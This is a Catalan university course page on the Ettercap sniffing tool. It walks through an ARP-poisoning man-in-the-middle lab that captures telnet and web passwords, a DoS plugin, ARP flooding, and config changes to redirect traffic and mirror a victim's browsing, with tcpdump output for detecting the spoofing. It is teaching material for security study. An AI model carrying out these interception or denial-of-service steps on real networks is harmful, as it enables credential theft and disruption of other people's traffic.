Curs: | SeguretatXarxesInformàtiques |
Fitxers: | EinesHacking.pdf (EinesHacking.odp) |
Repositori SVN: | https://[email protected]/svn/iceupc/SeguretatXarxesInformàtiques |
Usuari: | anonymous |
Paraula de pas: | sense paraula de pas |
Autors: | Sergi Tur Badenas |
Si voleu poder executar ettercap en mode gràfic, heu d'instal·lar:
$ sudo apt-get install ettercap-gtk
Han canviat els noms dels paquets i hi ha versions noves de Ettercap. Vegeu:
http://packages.ubuntu.com/precise/ettercap
El nom ettercap com a nom de paquet passa a ser un paquet virtual.
$ sudo apt-get install ettercap S'està llegint la llista de paquets… Fet 0% S'està construint l'arbre de dependències S'està llegint la informació de l'estat… Fet% El paquet ettercap és un paquet virtual proveït per: ettercap-text-only 1:0.7.4.2-1 ettercap-graphical 1:0.7.4.2-1 Necessiteu seleccionar-ne un explícitament per a instaŀlar-lo. E: El paquet «ettercap» no té candidat d'instaŀlació
Per tant com podeu veure per instal·lar ettercap en mode gràfic:
$ sudo apt-get install ettercap-graphical
I en mode text:
$ sudo apt-get install ettercap-text-only
A més s'ha actualitzat el contingut del paquet i té la nova versió de Ettercap, la versió 0.7.4-Lazarus (--acacha (discussió) 19:41, 27 nov 2012 (CET)):
http://ettercap.sourceforge.net/downloads.html
“Even if blessed with a feeble intelligence, they are cruel and smart..."
És la descripció d'un Ettercap, un monstre del joc de rol Advanced Dungeons & Dragons. Es va escollir per la seva similitud amb la paraula "ethercap" (ethernet capture) i per què el monstre té un poderós verí (ARP Poisoning)
The Lord Of The (Token)Ring (the fellowship of the packet) "One Ring to link them all, One Ring to ping them, one Ring to bring them all and in the darkness sniff them."
Ettercap té 3 interfícies d'usuari possibles:
Terminal
$ sudo ettercap -T
o
$ sudo ettercap --text
Ncurses:
$ sudo ettercap -C
o
$ sudo ettercap --curses
GTK:
$ gksu "ettercap --gtk"
o
$ gksu "ettercap -G"
No hi ha cap mode per defecte i per tant es obligatori especificar un mode a l'iniciar ettercap. Sudo es necessari per poder funcionar en mode promiscu.
Finalment destacar que ettercap es pot executar també com un dimoni:
$ sudo ettercap -D
o
$ sudo ettercap --daemonize
I fer les escoltes a través dels fitxers de log.
Un cop executat ettercap anem al menú Sniffing i executem el tipus de sniffing que volem fer i a quina interfície de xarxa:
Amb el mode uniffied haurem d'escollir quina interfície de xarxa volem utilitzar:
Amb el mode bridged haurem d'establir el pont entre una interfície i un altre:
Consulteu el següent apartat Exemple pas a pas per veure com es poden seleccionar les víctimes per la interfície gràfica o ncurses.
A l'executar ettercap podem utilitzar
# ettercap [OPCIONS] [TARGET 1] [TARGET 2]
Per especificar els targets podem filtrar per MAC, IPs o PORTs.
Si omitim aquesta opcions els targets seran tota la llista de hosts detectats.
Exemples:
//80 Qualsevol Adreça MAC o IP però només el port 80
/10.0.0.1/" qualsevol MAC, només la IP 10.0.0.1 i qualsevol port.
10.0.0.1-5;10.0.1.33" un rang d'IPS entre 10.0.0.1 i 10.0.0.5 i a més la 23.
20-25,80,110" tots els ports 20, 21, 22, 23, 24, 25, 80 and 110
Per fer aquest exemple necessitem 3 màquines, 2 han d'estar a la mateixa xarxa LAN (atacat i atacant) i una pot estar a la mateixa xarxa o a una xarxa remota (servidor de TElent):
El primer pas és tenir el servidor de Telnet a la màquina Servidor de Telnet. El podem instal·lar amb:
$ sudo apt-get install telnetd
Ara a la màquina atacant executem ettercap:
$ sudo -i # ettercap -G
Escollim el tipus d'escolta (sniffing que volem fer). Seleccionem Unified Sniffing del menú Sniff:
Ara hem de detectar les màquines de la xarxa amb l'opció Scan for Hosts del menú Hosts
Un cop hem detectat les màquines de la xarxa, podem escollir quines seran les nostres víctimes escollint-les de la llista de Hosts que podem consultar seleccionant l'opció Hosts List del menú Hosts:
I afegint-les com a víctimes amb les botons Add To Target 1 o Add To Target 2.
NOTA: Sempre hi ha com a mínim 2 víctimes. La primera víctima és el gateway (per què li suplantem la identitat i ens fem passar per ell) i la segona víctima és l'ordinador a qui sniffem.
Podem consultar la llista de targets seleccionant l'opció Current Targets del menú Targets:
Des d'aquí podem afegir víctimes que no hagin estat detectades per l'escanner utilitzant el botó Add
NOTA: Si no seleccionem víctimes concretes ettercap començarà l'atac contra tota les màquines de la xarxa!!!
Ara podem començar l'escolta amb la opció Start Sniffing del menú Start:
Ara ja podem iniciar un atac Man in The Middle (Mitm) escollint l'opció ARP Poisoning del menú Mitm:
I seleccionem l'opció Sniff Remote Connections:
NOTA: En cas d'utilitzar l'interfície ncurses hem d'escriure remote a la llista d'opcions que ens apareixerà a l'escollir l'opció ARP Poisoning.
Ara només queda visualitzar les connexions "robades" seleccionant l'opció Connections del menú View:
I veurem una llista de les connexions robades:
Anem a veure com es capturen les contrasenyes de TELNET. Anem a la màquina atacant i executem:
$ telnet IP_DEL_SERVIDOR_DE_TELNET Trying IP_DEL_SERVIDOR_DE_TELNET Connected to IP_DEL_SERVIDOR_DE_TELNET Escape character is '^]'. Ubuntu 7.04 IP_DEL_SERVIDOR_DE_TELNET login: prova Password:
A ettercap apareixerà una connexió marcada amb asterisc:
A la zona de missatges de la part inferior veurem en text clar la contrasenya.
A més podem monitoritzar tota la sessió de telnet accedint a Connection Data fent doble clic sobre la connexió:
També podem utilitzar el botó View Details per veure els detalls de la connexió:
Per acabar les escoltes i sortir hem de seguir els següents passos:
Inicieu ettercap en mode ncurses:
$ sudo ettercap -C
I selecciona les següents opcions:
Podem utilitzar tcpdump per comprovar el funcionament d'ettercap. Veiem un exemple, tenim una xarxa de 3 PCS + Gateway, amb les següents dades:
L'atacant esta a la màquina 3 (192.168.1.2). La taula ARP a l'atacant és la següent:
$ arp -n Address HWtype HWaddress Flags Mask Iface 192.168.1.1 ether 00:15:E9:CA:34:A5 C eth0 192.168.1.3 ether 00:18:F3:FB:FC:4A C eth0 192.168.1.6 ether 00:0E:35:29:2A:48 C eth0
Executem:
$ sudo tcpdump arp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
NOTA: Una opció més completa i que ens permet veure les MAC:
$ sudo tcpdump -ennqi eth0 arp
I en un altre terminal podem forçar noves peticions de ARP, treien entrades de la taula i fent pings:
$ sudo arp -d 192.168.1.1 $ sudo arp -d 192.168.1.3 $ sudo arp -d 192.168.1.6 $ ping 192.168.1.1 $ ping 192.168.1.3 $ ping 192.168.1.6
I començaran a aparèixer peticions arp a la terminal on s'està executant tcpdump:
09:54:40.061879 arp who-has 192.168.1.1 tell 192.168.1.2 09:54:40.062244 arp reply 192.168.1.1 is-at 00:15:e9:ca:34:a5 09:54:58.802487 arp who-has 192.168.1.3 tell 192.168.1.2 09:54:58.802576 arp reply 192.168.1.3 is-at 00:18:f3:fb:fc:4a 09:55:41.012054 arp who-has 192.168.1.6 tell 192.168.1.2 09:55:41.013671 arp reply 192.168.1.6 is-at 00:0e:35:29:2a:48
El funcionament d'ARP és el correcta. Ara anem a provar que passa amb ettercap.
Abans d'executar ettercap executem a totes les màquines:
$ sudo tcpdump arp
En una terminal de la màquina atacant executeu:
$ sudo -i # ettercap -G
I seguiu els passos habituals:
Si veieu al fer un scan, ettercap envia una sèrie de ARP-WHO-HAS aleatoris a tot el rang de xarxa per detectar hosts:
09:59:38.512855 arp who-has 192.168.1.226 tell 192.168.1.2 09:59:38.529888 arp who-has 192.168.1.165 tell 192.168.1.2 09:59:38.544853 arp who-has 192.168.1.247 tell 192.168.1.2 09:59:38.560845 arp who-has 192.168.1.239 tell 192.168.1.2 09:59:38.576855 arp who-has 192.168.1.229 tell 192.168.1.2 09:59:38.592865 arp who-has 192.168.1.227 tell 192.168.1.2 09:59:38.609872 arp who-has 192.168.1.211 tell 192.168.1.2 09:59:38.624914 arp who-has 192.168.1.215 tell 192.168.1.2 09:59:38.640965 arp who-has 192.168.1.206 tell 192.168.1.2 09:59:38.656860 arp who-has 192.168.1.240 tell 192.168.1.2
El resultat és:
10:03:11.168233 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:11.168369 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:11.200758 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:11.200890 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:11.220871 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:11.221050 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:11.248938 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:11.249127 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:11.264841 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:11.264996 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:11.276816 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:11.276827 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:12.292742 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:12.292760 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:12.304733 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:12.304750 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:12.316750 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:12.316769 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:12.328804 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:03:12.328827 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:03:12.340748 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:03:12.340766 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6
És un conjunt de arp-reply falsos. Mireu com la màquina atacant (MAC 00:30:1b:b7:cd:b6) es fa passar per totes les MACS de la xarxa!!!
Fixeu-vos que passa ara a la màquina remota 192.168.1.3. Si consultem la taula arp:
$ arp -n Address HWtype HWaddress Flags Mask Iface 192.168.1.6 ether 00:30:1B:B7:CD:B6 C eth0 192.168.1.1 ether 00:15:E9:CA:34:A5 C eth0 192.168.1.2 ether 00:30:1B:B7:CD:B6 C eth0
Resulta que les MAC de la màquina 192.168.1.6 és la MAC de la màquina atacant.
Anem a veure com ettercap realitza una atac DOS a una màquina de la xarxa utilitzant ARP. Ettercap té un plugin anomenat dos_attack:
Els plugins els podeu trobar al menú Plugins --> Manage The plugins.
El que fa aquest atac és assignar una IP incorrecta a la MAC de la màquina atacada, impedint d'aquesta manera la comunicació amb la màquina. Abans d'executar l'atac executeu:
$ sudo tcpdump arp -n
I ara executeu l'atac:
Veureu a la terminal on esteu executant tcpdump que el resutat és:
10:13:18.926375 arp who-has 192.168.1.58 tell 192.168.1.6 10:13:19.036821 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6 10:13:19.039107 arp who-has 192.168.1.58 tell 192.168.1.2 10:13:19.039270 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6 10:13:20.039133 arp who-has 192.168.1.58 tell 192.168.1.2 10:13:20.039189 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6 10:13:20.956842 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:13:20.956863 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:13:20.971206 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:13:20.971225 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:13:20.983245 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:13:20.983256 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:13:20.995261 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:13:20.995274 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:13:21.015291 arp reply 192.168.1.6 is-at 00:30:1b:b7:cd:b6 10:13:21.015303 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:13:21.027274 arp reply 192.168.1.3 is-at 00:30:1b:b7:cd:b6 10:13:21.027286 arp reply 192.168.1.2 is-at 00:30:1b:b7:cd:b6 10:13:21.039177 arp who-has 192.168.1.58 tell 192.168.1.2 10:13:21.039250 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6 10:13:22.043207 arp who-has 192.168.1.58 tell 192.168.1.2 10:13:22.043258 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6 10:13:23.043246 arp who-has 192.168.1.58 tell 192.168.1.2 10:13:23.043294 arp reply 192.168.1.58 is-at 00:30:1b:b7:cd:b6
Un munt d'arp-replys falsos que assignen la IP 192.168.1.58 (no existent a la xarxa) a la MAC de la màquina atacada.
Podem utilitzar el plugin rand_flood:
El resultat a la xarxa és el següent:
$ sudo tcpdump arp -n 11:07:01.750043 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.754050 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.758355 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.762106 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.766055 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.770044 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.774052 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.778046 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.782045 arp who-has 0.0.0.0 tell 0.0.0.0 11:07:01.786079 arp who-has 0.0.0.0 tell 0.0.0.0
Tenim diferents opcions:
De totes maneres, cal tenir en compte que ettercap ens ofereix més tipus d'atacs Man in The Middle i caldria també previndré aquests tipus d'atacs.
Consulteu també l'article ARP-spoofing
$ sudo joe /etc/etter.conf
Busqueu les línies:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
I les descomenteu:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
El plugin d'ettercap que permet mostrar les URL que està visitant la víctima utilitza per defecte Mozilla com a navegador web. Ho podem canviar a:
$ sudo joe /etc/etter.conf
I buscar la línia de configuració:
$ cat /etc/etter.conf | grep -n "mozilla" 143:remote_browser = "mozilla -remote openurl(http://%host%url)"
En el meu cas que com podeu veure, la línia és la 143. Canvieu-la per
remote_browser = "sudo firefox http://%host%url"
Ara també cal canviar les línies:
[privs] ec_uid = 65534 # nobody is the default ec_gid = 65534 # nobody is the default
Que estan al principi, per
[privs] ec_uid = 1001 ec_gid = 1001
On 1001 és el vostre uid d'usuari i el podeu obtenir amb:
$ id
Això es necessari perquè si no ettercap s'executa com a usuari nobody i aquest usuari no pot executar Firefox.
Ara quan activeu el plugin remote_browser s'aniran obrint les pàgines que visita la víctima.
Segons he pogut comprovar,obté automàticament paraules de pas de:
Un exemple de hotmail:
HTTP : 65.54.186.49:443 -> USER: [email protected] PASS: prova INFO: http://login.live.com/login.srf?wa=wsignin1.0&rpsnv=10&ct=1227687109&rver=5.5.4177.0&wp=MBI& wreply=http://mail.live.com/default.aspx?n=84914563&id=64
NOTA: Cal tenir en compte que la llista no és completa i que és pot obtenir encara més informació...
Una pàgina de login per HTTP:
http://acacha.org/~sergi/privat
Una alternativa:
http://tinyurl.com/fakelogin
NOTA: Detecta els camps HTML que són de tipus paraula de pas?...
El codi font de HTML és:
<html> <head><title>login</title></head> <body bgcolor=gold> <center> <form action="/cgi-bin/cgiwrap/sbowne/auth1.pl" method="post"> <table border=1 cellpadding=3 celspacing=3 align=center width=50%> <tr><td colspan=2 align=center>Login</td></tr> <tr><td>Username:</td><td><input type=text name=username size="20"></td><tr> <tr><td>Password:</td><td><input type=password name=password size="20"></td><tr> <tr><td colspan=2><input type=submit></td><tr> </table> </form> </body> </html>